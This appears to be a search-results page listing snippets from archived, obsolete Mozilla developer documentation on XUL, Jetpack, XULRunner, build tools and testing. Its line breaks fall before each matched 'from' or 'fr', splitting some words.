Creating a Release Tag - Archive of obsolete content
here are directions for creating a release
from a linux system.
... check out mozilla
from the branch you want to tag.
...cvs tag -b mozilla_0_9_4_1_release_mini_branch mozilla/client.mk delete the existing build scripts and repull them
from the mini-branch you just created.
... rm mozilla/client.mk cvs co -r mozilla_0_9_4_1_release_mini_branch mozilla/client.mk in each of the build scripts find the variables defining the branch and change it
from the branch you originally pulled
from to the new tag you are creating.
Creating regular expressions for a microsummary generator - Archive of obsolete content
matching
from the start of the url while this expression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages themselves.
...now that we've prepended a caret to our regular expression, it will only match urls that look like the example url right
from the start.
...as before, we should distinguish the components of the url which are unique to the item
from those which are common to all auction item urls of this style.
...here is what the <pages> section might look like in a microsummary generator for ebay auction item pages: <pages> <include>^http://cgi\.ebay\.com/.*qqitemz.*qqcmdzviewitem</include> <include>^http://cgi\.ebay\.com/ws/ebayisapi\.dll\?viewitem&.*item=</include> </pages> to see these regular expressions in action, install the ebay auction item microsummary generator available
from this page of example generators.
Using microformats - Archive of obsolete content
if provided, this is a javascript object that contains zero or more of the following flags: recurseexternal
frames if true, child
frames are included in the search.
...if provided, this is a javascript object that contains zero or more of the following flags: recurseexternal
frames if true, child
frames that reference external content are included in the search.
... getnames
fromnode() returns a space-delineated list of microformat names that correspond to the specified microformat node.
... var namelist = microformats.getnames
fromnode(node); parameters node the node for which to retrieve a list of microformat names.
Hidden prefs - Archive of obsolete content
it was imported
from mozilla.org and last updated in 2002.
... this is a useful trick for newsgroup moderators who want moderate
from mozilla.
... mail/news prefs "autcollect addresses" prefs
from mailnews.js: // by default, only collect addresses the user sends to (outgoing) pref("mail.collect_email_address_incoming", false); pref("mail.collect_email_address_outgoing", true); pref("mail.collect_email_address_newsgroup", false); // by default, use the personal addressbook for collection pref("mail.collect_addressbook","moz-abmdbdirectory://abook.mab"); for the reasons why the defaults changed, see this document on the collected address book.
...| mail & newsgroups | addressing" "other compose header" pref
from mailnews.js: // you can specify a comma delimited list of optional headers // this will show up in the address picker in the compose window // examples: "x-face" or "approved" pref("mail.compose.other.header", "approved,x-no-archive"); ...
Twitter - Archive of obsolete content
read the experiment report for what we learned
from it and the blog post announcing the first sdk release for what we're up to next!
...example: jetpack.lib.twitter.statuses.update({ data: { status: "o
frabjous day!" }, username: "basic_auth_username", password: "basic_auth_password", success: function () console.log("hey!") }); user authentication you can supply a username and password to methods that require authentication using the second, more advanced call style described above.
... example usage tweeting jetpack.lib.twitter.statuses.update({ status: "o
frabjous day!" }); firefox will prompt for a username and password if the user is not already authenticated with twitter.
... user info jetpack.lib.twitter.users.show({ id: "mozlabs", success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) });
friends of a user jetpack.lib.twitter.statuses.
friends({ id: "mozlabs", page: 3, success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); trends jetpack.lib.twitter.trends({ success: function (data, status) console.log(data.tosource()), error: function (xhr, errmsg, errobj) console.error(xhr.responsetext) }); searching jetpack.lib.twitter.search({ q: "#jetpack", lang: "ja", rpp: 10, page: 5, since_id: 1337, success: function (data, status) console.log(data.tosource()), error: function (...
Enabling - Archive of obsolete content
in python, you can call
from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called import
fromfuture.
...stringmountpathstring that enumerates where, starting
from the jetpack base, the feature will be mounted.
...string here is an example of how to import a feature (the clipboard)
from the future.
Clipboard Test - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data
from jetpack to the clipboard.
...jetpack.import.future("clipboard");// in text formatjetpack.clipboard.set("hello world");// in other clipboard get(flavor string)returns data to jetpack
from the clipboard.
... flavorreturns data to jetpack
from the clipboard.
...remember to import clipboard
from the future before calling it.
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring)writes data
from jetpack to the clipboard.
...jetpack.import.future("clipboard"); // in text format jetpack.clipboard.set("hello world"); // in other clipboard get(flavor string)returns data to jetpack
from the clipboard.
...flavorreturns data to jetpack
from the clipboard.
...remember to import clipboard
from the future before calling it.
Enabling Experimental Jetpack Features - Archive of obsolete content
in python, you can call
from __future__ import foo which adds the functionality that foo yields to the script.
... in jetpack, we propse adding a new function to the base namespace called import
fromfuture.
...stringmountpathstring that enumerates where, starting
from the jetpack base, the feature will be mounted.
...string here is an example of how to import a feature (the clipboard)
from the future.
Simple Storage - Archive of obsolete content
the object can also be forced to reload its data
from disk by calling jetpack.storage.simple.open(), although the data comes loaded automatically.
...open()as described above, the jetpack.storage.simple object is automatically populated when a feature is loaded, but a feature may force the object to read
from disk by calling jetpack.storage.simple.open().
...examples this code persistently stores some data: jetpack.future.import("storage.simple"); var mystorage = jetpack.storage.simple; mystorage.
fribble
frops = [1, 3, 3, 7]; mystorage.heimelfarbs = { bar: "baz" }; and this code -- pretend it's in the same jetpack as the code above -- simply uses that data: mystorage.
fribble
frops.foreach(function (elt) console.log(elt)); var bar = mystorage.heimelfarbs.bar; jetpack.notifications.show(bar.baz); that's all there is to it!
...you can install this example
from the jetpack gallery.
Clipboard - Archive of obsolete content
jetpack.future.import("clipboard"); methods set(contentstringflavorstring) stringwrites data
from jetpack to the clipboard.
...jetpack.import.future("clipboard"); // in text format jetpack.clipboard.set("hello world"); // in other clipboard get(flavor string)returns data to jetpack
from the clipboard.
...flavorreturns data to jetpack
from the clipboard.
...remember to import clipboard
from the future before calling it.
Supporting private browsing mode - Archive of obsolete content
from that point until we restore the original value of the private browsing mode setting, things are done privately.
... } }; canceling shutting off private browsing mode extensions can prevent private browsing mode
from being shut off.
...vate mode /* you should display some user interface here */ asubject.data = true; // cancel the operation } } }, "private-browsing-cancel-vote", false); note: a well-mannered extension should display some sort of user interface to indicate that private browsing mode will be kept on, and possibly offer the option to cancel whatever operation is preventing the extension
from allowing private browsing to be shut off.
...ox button in firefox 4 differently when private browsing mode is permanent: #main-window[privatebrowsingmode=temporary] #appmenu-button:not(:-moz-window-inactive) { -moz-border-left-colors: rgba(255,255,255,.5) rgba(43,8,65,.9); -moz-border-bottom-colors: rgba(255,255,255,.5) rgba(43,8,65,.9); -moz-border-right-colors: rgba(255,255,255,.5) rgba(43,8,65,.9); } this snippet is pulled directly
from the standard skin; you can customize as you see fit.
Tamarin Build System Documentation - Archive of obsolete content
when all of the slave machines are
free they all start the first build phase simultaneously.
... the smoke test list is constantly updated to contain the most recent failures, most
frequent failures, and the newest testcases.
...compile, smoke, or test to show the build slaves
from the most recent phase run or click on an individual box to display the test result below the phase table the waterfall displays each buildstep and result the left side contains the time column and the user/revision link to represent the revision triggering a build, mouse over the user to see the revision and submission notes each buildstep run on a slave is a box with color indicating status, r...
...un test above the test should be a # comment describing why the test in the smokes, when test failed, possibly a bugzilla bug the tests can be run by following the above instructions for running buildbot scripts locally and executing the all/run-smoke-tests.sh as a rule any test failure should be immediately added to the top of the smoke test list so the list is prioritized how to exclude tests
from acceptance or mark them as known failures?
Venkman - Archive of obsolete content
bandhauer then went on to reflect that api into java, and create his cross platform
front end, eventually producing netscape javascript debugger 1.0 and 1.1.
... getting venkman firefox and thunderbird the latest version of javascript debugger is available
from firefox add-ons.
...also available
from firefox add-ons as an extension.
... nvu and kompozer javascript debugger extension version 0.9.84 is available
from nvu's downloads page.
Binding Implementations - Archive of obsolete content
a binding implementation provides a new set of methods and properties that can be invoked directly
from the bound element.
... on the anonymous content element, the property can be obtained either
from an attribute on the element or
from a property on the element.
... inheritance of implementations when two bindings in an inheritance chain both supply implementations, the derived binding's implementation inherits
from the base binding's implementation.
... for example, given a binding with an implementation colorpickergrid that derives
from an implementation colorpicker where the two implementations both specify the setcolor method, a caller could invoke colorpicker's method with the following syntax: ...
Methods - Archive of obsolete content
extension, theme, and plug-in developers must switch away
from install.js based packages to the new packaging scheme with an install.rdf manifest.
... execute extracts a file
from the xpi file to a temporary location and schedules it for later execution.
... loadresources returns an object whose properties are localized strings loaded
from the specified property file.
... re
freshplugins re
freshes the list of plug-ins registered for the browser.
Dynamically modifying XUL-based user interface - Archive of obsolete content
there are also dom methods that create, move, or delete elements
from a document.
...each xul window has its own distinct document, and there may even be a few different documents in a single window, when there is an <i
frame>, <browser>, or a <tabbrowser> element.
...removing all children of an element this example removes all children of an element with id=someelement
from the current document, by calling removechild() method to remove the first child, until there are no children remaining.
...for example you could move the item labeled "first item" to the end of popup by adding this statement as a last line to the snippet above: popup.appendchild(first); this statement would remove the node
from its current position in the document and re-insert it at the end of the popup.
Accessing Files - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...the first argument to nsiscriptableio.getfile() is the starting directory
from which to locate a file.
... in the example above the word 'profile' is used, which means start
from within the user's profile directory.
...if the application was launched
from a command line, for instance, this will be the directory where the application was launched
from, which may be different
from the 'application' value.
IO - Archive of obsolete content
file and stream guide: [ nsiscriptableio | accessing files | getting file information | reading
from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages
from the file and stream guide use the io object (nsiscriptableio), which was not available in any released version of the platform (pending some fixes).
...files and streams this section describes how to access and get information about files, read
from files and create and write files.
...reading
from a file for information about reading
from text and binary files, see reading
from files.
...download files to learn how to download and save a file
from a web site to disk, see downloading files.
List of commands - Archive of obsolete content
list of commands (grouped by type) nsdomwindowcontroller commands (generally legal when there is a selection): cmd_copy - copy a selection to the clipboard cmd_cut - cut a selection into the clipboard cmd_paste - paste a selection
from the clipboard cmd_selectall cmd_selectnone cmd_copylink cmd_copyimagelocation cmd_copyimagecontents cmd_scrolltop cmd_scrollbottom cmd_scrollpageup cmd_scrollpagedown cmd_scrolllineup cmd_scrolllinedown cmd_scrollleft cmd_scrollright cmd_selectcharprevious cmd_selectcharnext cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwordnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_selectlinep...
...revious cmd_selectlinenext cmd_selectpageprevious cmd_selectpagenext cmd_selectmovetop cmd_selectmovebottom editor commands (legal when the focus is anywhere where you can type text): cmd_paste - paste a selection
from the clipboard cmd_pastequote cmd_delete cmd_deletecharbackward cmd_deletecharforward cmd_deletewordbackward cmd_deletewordforward cmd_deletetobeginningofline cmd_deletetoendofline cmd_scrolltop cmd_scrollbottom cmd_movetop cmd_movebottom cmd_selecttop cmd_selectbottom cmd_linenext cmd_lineprevious cmd_selectlinenext cmd_selectlineprevious cmd_charprevious cmd_charnext cmd_selectcharprevious cmd_selectcharnext cmd_beginline cmd_endline cmd_selectbeginline cmd_selectendline cmd_wordprevious cmd_wordnext cmd_selectwordprevious cmd_selectwor...
..._close cmd_closeothertabs cmd_closewindow cmd_copy cmd_copyimage cmd_copylink cmd_cut cmd_delete cmd_editpage cmd_findtypelinks cmd_findtypetext cmd_gotoline cmd_handlebackspace cmd_handleshiftbackspace cmd_minimizewindow cmd_neweditor cmd_neweditordraft cmd_neweditortemplate cmd_newnavigator cmd_newnavigatortab cmd_newtabwithtarget cmd_openhelp cmd_paste - paste a selection
from the clipboard cmd_printsetup cmd_quit cmd_redo cmd_savepage cmd_scrollpagedown cmd_scrollpageup cmd_selectall cmd_switchdocumentdirection cmd_switchtextdirection cmd_textzoomenlarge cmd_textzoomreduce cmd_textzoomreset cmd_undo cmd_viewcomponentbar cmd_viewlinktoolbar cmd_viewlinktoolbar_false cmd_viewlinktoolbar_maybe cmd_viewlinktoolbar_true cmd_viewnavbar cmd_viewpersonal...
...also obtained
from http://www.mozilla.org/unix/customizing.html ...
Namespaces - Archive of obsolete content
duplicates element and attribute names can occur when an xml document contains elements and attributes
from two or more different xml schemas (or dtds).
...although there's nothing preventing someone else
from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally.
...this distinguishes it
from, for example, <foobar:textbox/> which might occur in the same document.
...in fact no unprefixed attribute is ever in a namespace, primarily because xml originally didn't have namespaces, and all xml
from that time had to stay in no namespace.
Panels - Archive of obsolete content
preventing panels
from automatically closing a panel will be closed when a user clicks outside of the panel or when the escape key is pressed.
... when a panel is closed, the focus is removed
from the element within the panel which has the focus event, if any, and whatever element was focused before the panel was opened is refocused.
... you can prevent the focus
from being removed by setting the noautofocus attribute to true as above.
... in addition, the norestorefocus attribute should be set to true in order to prevent the previously focused element
from being refocused.
Additional Navigation - Archive of obsolete content
the triple doesn't exist for the first result since the title for the first photo is 'palace
from above', so the potential result will be removed
from the data.
....com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace
from above"> <r:country resource="http://www.daml.org/2001/09/countries/iso#it"/> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"> <r:country resource="http://www.daml.org/2001/09/countries/iso#nl"/> </rdf:description> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.j...
...it may be difficult to tell whether the builder will look for arcs pointing out
from a node or into a node just by looking at the triple element.
...the resulting data after the second triple will look like this: (?start = http://www.daml.org/2001/09/countries/iso#it, ?countrytitle = italy, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.daml.org/2001/09/countries/iso#it, ?countrytitle = italy, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) the third triple just grabs the title
from the photo as previous examples did, adding a value for the ?title variable for each photo.
Simple Example - Archive of obsolete content
.com/rdf/myphotos"> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/canal.jpg"/> <rdf:li rdf:resource="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg"/> </rdf:seq> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg" dc:title="palace
from above"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/canal.jpg" dc:title="canal"/> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls.
...in the rdf, the 'palace' resource has a value 'palace
from above', so it will be added to the data network, assigned to the ?title variable.
... (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace
from above') the process continues in a similar manner for the other two results.
... in the end, the network will contain the following data: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg, ?title = 'palace
from above') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg, ?title = 'canal') (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg, ?title = 'obelisk') since the triple is the last statement, three matches total have been found.
Special Condition Tests - Archive of obsolete content
for inner iterations, it will be the element with the uri attribute
from the previous iteration.
...however, for the next iteration, that is, the next level of children, the content would instead be inserted into the groupbox generated
from the previous iteration.
... this does not match the first rule, so the content
from the second rule is generated instead.
...on the next pass, the parent container will be the element with the uri attribute
from the previous pass, in this case, the <groupbox> the first rule will not match in this case, but the second rule will match and a label will be created.
Textbox (XPFE autocomplete) - Archive of obsolete content
if set to false or omitted, the value must be selected
from the list.
...ymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> <textbox id="find-text" onchange="return myfunction(event);"/> </window> onerrorcommand type: script code this event handler is called when an error occurs when selecting a result
from the popup.
... removesession( session ) obsolete since gecko 26 return type: void removes a session object
from the autocomplete widget.
... syncsessions( autocompleteelement ) obsolete since gecko 26 return type: void copy the sessions
from another autocomplete element.
Tree Widget Changes - Archive of obsolete content
from there you can get specific columns, the current sort column, and position and size info about the columns.
... some specific changes you should now get the tree selection object
from the view, not the box object, meaning use tree.view.selection instead of tree.treeboxobject.selection.
... the nsitreeview.cycleheader() method has been changed, cycleheader(colid, element) is now just cycleheader(column), since the code can get the element
from the column object.
...in this case, disable editing for that cell by setting editable to false for that cell, as in the following: <treecell value="true" editable="false"/> or, for custom views, return false
from the iseditable method.
Adding Event Handlers to XBL-defined Elements - Archive of obsolete content
use the event name without the 'on' in
front of it.
...(see focus and selection) handling mouse events for mouse events, you can use the button attribute to have the handler only trap events that occur
from a certain button.
...the script within the action attribute is used to cut the text
from the textbox and put it into the clipboard field.
...pasting is the opposite where the value of the textbox is assigned
from the value in the clipboard field.
Adding HTML Elements - Archive of obsolete content
this way, mozilla can distinguish the html tags
from the xul ones.
...this may be clearer
from the examples below.
...<html:img src="banner.jpg"/> <html:input type="checkbox" value="true"/> <html:table> <html:tr> <html:td> a simple table </html:td> </html:tr> </html:table> these examples will create an image
from the file banner.jpg, a checkbox and a single-cell table.
...notice that the prefix html: was added to the
front of each tag.
Creating Dialogs - Archive of obsolete content
this function differs
from open() in several ways.
...it's passed one argument, somefile, which was taken
from the value of an element with the id enterfile.
...you can pass values back
from the opened window to the original window in one of two ways.
...skeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </script> <dialogheader title="my dialog" description="example dialog"/> <groupbox flex="1"> <caption label="select favourite
fruit"/> <radio id="orange" label="oranges because they are
fruity"/> <radio id="violet" selected="true" label="strawberries because of their colour"/> <radio id="yellow" label="bananas because they are pre-packaged"/> </groupbox> </dialog> the buttons elements can be accessed with the following javascript // the accept button var acceptbutt = document.documentelement.getbutton("accept") ...
Creating a Skin - Archive of obsolete content
copy a manifest file (contents.rdf)
from the classic or modern skin into this new directory.
... adding toolbar icons it is somewhat difficult to distinguish the buttons on the toolbar
from the commands on the menu.
... other changes next, we'll make a couple of changes to the buttons along the bottom, again reusing some icons
from mozilla to save time.
... try moving the css styles
from findfile.css into global.css and then look at some of the dialogs in mozilla.
Manifest Files - Archive of obsolete content
if you aren't sure what the file path is, open that directory in a browser and copy the url
from the address field.
...three overlays are also specified, which allow content
from different packages to combine together.
...while they may be installed
from any site, other sites are not configured to allow installations by default.
...if you aren't sure what the url is, open the directory created in step 1 into a mozilla browser and copy the url
from the location field.
Modifying a XUL Interface - Archive of obsolete content
the syntax of these functions is as follows: parent.appendchild(child); parent.insertbefore(child, referencechild); parent.replacechild(newchild, oldchild); parent.removechild(child); it should be fairly straightforward
from the function names what these functions do.
... finally the removechild() function removes a child
from the list of its parent element.
...since a node may only be in one place at a time, the insertion call will always remove the node
from its existing location first.
...the nextsibling property navigates
from the button (this) to the next element, the textbox.
Scroll Bars - Archive of obsolete content
the default is horizontal, which creates a scroll bar that extends
from left to right.
... you can also specify vertical which creates a scroll bar that extends
from top to bottom.
... curpos this indicates the current position of the scroll bar thumb (the box that you can slide back and forth.) the value ranges
from 0 to the value of maxpos.
... the example given in the syntax above will create a scroll bar that can range
from a value of 0 to 100.
Stacks and Decks - Archive of obsolete content
the orient property has little meaning on a stack as children are laid out above each other rather than
from side to side.
...this has the result of drawing the same text 'shadowed' again but slightly offset
from the other.
... this method has advantages over using text-shadow because you could completely style the shadow apart
from the main text.
...pages are numbered starting
from zero.
Tree Box Objects - Archive of obsolete content
it is used to indicate that one or more rows have been added to the tree or removed
from the tree.
... one important thing to note is that the coordinates are measured
from the upper left corner of the containing document, not the edge of the tree itself.
... if (column.value && typeof column.value != "string") { column.value = column.value.id; } if the column is a string, we are running on mozilla 1.7 or earlier, but for later versions we get the column id
from the column object.
... var x = {}, y = {}, width = {}, height = {}; if (typeof tree.columns != "undefined") column = tree.columns[column]; tree.boxobject.getcoordsforcellitem( row, column, part, x, y, width, height ); the row, column, and part arguments are similar to those returned
from the getcellat() function.
Trees and Templates - Archive of obsolete content
this would normally be set to an rdf property so that the label is pulled
from the datasource.
...the two cells grab the name and date
from the datasource and place the values in the cell labels.
...trees which generate their data
from a datasource have the optional ability to sort their data.
...however, this is different
from a resource that is not a container.
XUL Coding Style Guidelines - Archive of obsolete content
to make xul files easy to read and maintain, localization
friendly, and portable across user agents, we need to have a set of coding style guidelines to ensure our objectives are achievable.
... the author has collected a set of guidelines
from various sources listed in the references section.
...to prevent them
from being localized, you may insert a line of comment following the xml declaration as follows.
...xul localizability issues xhtml 1.1 recommendation namespaces in xml extensible markup language (xml) 1.0 euro sign the unicode standard®, version 2.1 "xml applications" by
frank boumphrey.
button - Archive of obsolete content
normal for scales, the scale's values are ordered
from left to right (for horizontal scales) or
from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
... reverse for scales, the scale's values are ordered
from right to left (for horizontal scales) or
from bottom to top (for vertical scales).
...only one button
from each group can be checked at a time.
...possible values include: accept, cancel, help, open, save, find, clear, yes, no, apply, close, print, add, remove, re
fresh, go-forward, go-back, properties, select-font, select-color, network.
menupopup - Archive of obsolete content
<menulist> <menupopup> <menuitem label="mozilla" value="http://mozilla.org"/> <menuitem label="slashdot" value="http://slashdot.org"/> <menuitem label="sourceforge" value="http://sf.net"/> <menuitem label="
freshmeat" value="http://
freshmeat.net"/> </menupopup> </menulist> the following example shows how a menupopup can be used as a context menu for an element.
...returning false
from this event handler prevents the popup
from appearing.
... anchor the popup may be either anchored to another node or opened
freely.
... x, y for an anchored popup, the x and y arguments may be used to offset the popup
from its anchored position by some number, measured in css pixels.
tab - Archive of obsolete content
the user may click a tab to bring the associated page of the tabbox to the
front.
... validate type: one of the values below this attribute indicates whether to load the image
from the cache or not.
... this would be useful if the images are stored remotely or you plan on swapping the image
frequently.
... never the image will be loaded
from the cache if possible.
XUL - Archive of obsolete content
xul tutorial a guided tutorial that will help you get started with xul, originally
from xulplanet.
... documentation xul tutorial a guided tutorial that will help you get started with xul, originally
from xulplanet.
... template guide a detailed guide on xul templates, which is a means of generating content
from a datasource.
... mailing list newsgroup rss feed #xul on irc.mozilla.org tools xul online live editor (copy & paste snippets
from here and run them) xul explorer (a lightweight xul ide) xulexplorer (patched version of xul explorer) extension developer's extension (featuring a live xul editor) xulref sidebar firebug dom inspector spket ide, ide for xul/xbl ample sdk, (cross-browser xul renderer in javascript/html) ...
Creating a Windows Inno Setup installer for XULRunner applications - Archive of obsolete content
the tutorial here uses the my app example
from the article getting started with xulrunner.
... step 1: installing inno setup download inno setup
from inno setup downloads.
...however, if you don't get the quickstart pack, you can later get istool
from inno setup third-party files.
...don't forget to then test the installed application to be sure the installation did indeed work correctly, since if you accidentally omitted resources
from the script, they'll be missing
from the installed package.
Dialogs in XULRunner - Archive of obsolete content
certain types of dialogs are used so
frequently that the os can provide a default implementation.
..."return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <script> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </script> <dialogheader title="my dialog" description="example dialog"/> <groupbox flex="1"> <caption label="select favorite
fruit"/> <radiogroup> <radio id="1" label="oranges because they are
fruity"/> <radio id="2" selected="true" label="strawberries because of color"/> <radio id="3" label="bananna because it pre packaged"/> </radiogroup> </groupbox> </dialog> xul window elements have a special method to open dialogs, called window.opendialog().
...not too sure if i’ll use the <dialogheader>, but if i did, the single element would be a big time saver over building the header
from scratch.
... common dialogs some of the most
frequently used common dialogs are for opening and saving files.
How to enable locale switching in a XULRunner application - Archive of obsolete content
normally the application locale is inherited
from the os environment of the host system, however there are situations when you might want to give users the option to override the default setting and choose a different locale.
...sample chrome/chrome.manifest content localeswitchdemo content/ locale localeswitchdemo de-de locale/de-de/ locale localeswitchdemo en-gb locale/en-gb/ locale localeswitchdemo
fr-
fr locale/
fr-
fr/ how are you going to populate the xul listbox?
...ice.queryinterface(components.interfaces.nsixulchromeregistry); var toolkitchromereg = chromeregservice.queryinterface(components.interfaces.nsitoolkitchromeregistry); var selectedlocale = xulchromereg.getselectedlocale("localeswitchdemo"); var availablelocales = toolkitchromereg.getlocalesforpackage("localeswitchdemo"); // render locale menulist by iterating through the query result
from getlocalesforpackage() const xul_ns = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"; var localelistbox = document.getelementbyid("locale-listbox"); var selecteditem = null; while(availablelocales.hasmore()) { var locale = availablelocales.getnext(); var listitem = document.createelementns(xul_ns, "listitem"); listitem.setattribute("value", locale); ...
...the code snippets above were taken
from it.
XULRunner tips - Archive of obsolete content
xulrunner
frequently asked questions.
...xulrunner 1.8.0 does not load extensions
from the application directory; only the xulrunner directory and the user profile directory are checked.
...ions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration because the extension manager uses fuel, namely application.restart(), to restart your xulrunner-based application after any change (installation, removal, enabling, disabling) in the extensions' list: copy files fuelapplication.js and fuelapplication.manifest
from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/components/exthelper/extapplication.js in your copy of fuelapplication.js as needed make sure to declare the fuel module and the two files in your components/makefile.in as in browser/fuel/src/makefile.in rebuild...
... preferences needed for file download dialogs to use the unknown-content-type and file-downloads dialogs
from a <browser> element, you need to add the following prefs: pref("browser.download.usedownloaddir", true); pref("browser.download.folderlist", 0); pref("browser.download.manager.showalertoncomplete", true); pref("browser.download.manager.showalertinterval", 2000); pref("browser.download.manager.retention", 2); pref("browser.download.manager.showwhenstarting", true); pref("browser.download.manage...
application/http-index-format specification - Archive of obsolete content
syntax every line in the file must conform to the following generic syntax: number: data where number is at least a three digit number (note that more digits are possible in the future) and data is separated
from number by a colon and a space.
...this data should be presented to the user when they are viewing data drawn
from the file.
...this data should be presented to the user when they are viewing data drawn
from the file.
... 201 data whose definition stems
from a prior 200 line.
Mozprofile - Archive of obsolete content
mozprofile can be utilized
from the command line or as an api.
...if a profile is not specified, one will be created in a temporary directory which will be echoed to the terminal: (mozmill)> mozprofile /tmp/tmp4q1ieu.mozrunner (mozmill)> ls /tmp/tmp4q1ieu.mozrunner user.js to run mozprofile
from the command line enter: mozprofile --help for a list of options.
...installing addons addons may be installed individually or
from a manifest.
... example:
from mozprofile import firefoxprofile # create new profile to pass to mozmill/mozrunner profile = firefoxprofile(addons=["adblock.xpi"]) setting preferences preferences can be set in several ways: using the api: you can pass preferences in to the profile class's constructor: obj = firefoxprofile(preferences=[("accessibility.typeaheadfind.flashbar", 0)]) using a json blob file: mozprofile --preferences myprefs.json using a .ini file: mozprofile --preferences myprefs.ini via the command line: mozprofile --pref key:value --pref key:value [...] when setting preferences
from an .ini file or the --pref switch, the value will be interpolated as an integer or a boolean (true/false) if possible.
Mozrunner - Archive of obsolete content
mozrunner may be used
from the command line or programmatically as an api.
... command line usage the mozrunner command will launch the application (specified by --app)
from a binary specified with -b or as located on the path.
... mozrunner takes the command line options
from mozprofile for constructing the profile to be used by the application.
...example api usage:
from mozrunner import firefoxrunner # start firefox on a new profile runner = firefoxrunner() runner.start() ...
reftest opportunities files - Archive of obsolete content
if you create a reftest for any of these bugs please attach the reftest to the bug and ask for review
from the assignee (or anyone else that seems appropriate judging
from comments in the bug).
...tests
from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem http://dbaron.org/css/test/sec010303 http://dbaron.org/css/test/sec0302 http://dbaron.org/css/test/sec0302_xml http://dbaron.org/css/test/parsing http://dbaron.org/css/test/parsing2 http://dbaron.org/css/test/parsing4 http://dbaron.org/css/test/parsing5 http://dbaron.org/css/test/parsing6 http://dbaron.org/css/test/sec040102 http://dbaron.org/css/test/casesens http://dbaron.org/css/test/xmltypesel http://dbaron.org/css/test/unitless http://dbaron.org/css/test/exunit http://dbaron.org/css/test/e...
...ttp://dbaron.org/css/test/sec170503 http://dbaron.org/css/test/sec170504 http://dbaron.org/css/test/tborder1 http://dbaron.org/css/test/tborder2 http://dbaron.org/css/test/sec1706c http://dbaron.org/css/test/sec1801 http://dbaron.org/css/test/sec1802 http://dbaron.org/css/test/sec1803 http://dbaron.org/css/test/outline http://dbaron.org/css/test/sq_small http://dbaron.org/css/test/sq_large tests
from mozilla source tree parser/htmlparser/tests/html/xmp005.html parser/htmlparser/tests/html/value001.html parser/htmlparser/tests/html/utf8001.html parser/htmlparser/tests/html/usascii.html parser/htmlparser/tests/html/title01.html parser/htmlparser/tests/html/title.html parser/htmlparser/tests/html/tiny.html parser/htmlparser/tests/html/thead001.html parser/htmlparser/tests/html/text003.html pa...
...l parser/htmlparser/tests/html/26347.html parser/htmlparser/tests/html/24462.html parser/htmlparser/tests/html/24184.html parser/htmlparser/tests/html/22596.html parser/htmlparser/tests/html/22480.html parser/htmlparser/tests/html/22263.html parser/htmlparser/tests/html/20087.html parser/htmlparser/tests/html/19116.html parser/htmlparser/tests/html/187790.html parser/htmlparser/tests/html/184029_i
